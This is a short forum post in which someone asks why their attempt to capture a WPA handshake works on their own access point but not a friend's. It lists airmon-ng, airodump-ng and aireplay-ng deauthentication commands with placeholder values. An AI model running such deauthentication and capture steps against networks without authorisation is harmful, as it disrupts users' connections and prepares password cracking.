Ive managed to obtain a handshake from my own AP , but when trying it with my friends AP i get nothing.

These are the commands i type any ideas guys n girls?

airmon-ng start wlan0
airodump-ng mon0

airodump-ng -c (channel) -w (file) --bssid (mac address) mon0

aireplay-ng --deauth 1 -a (bssid) -c (station mac) mon0 # this is unsuccesful no matter how many times i try

could it be that the paticular AP resisting my attempts?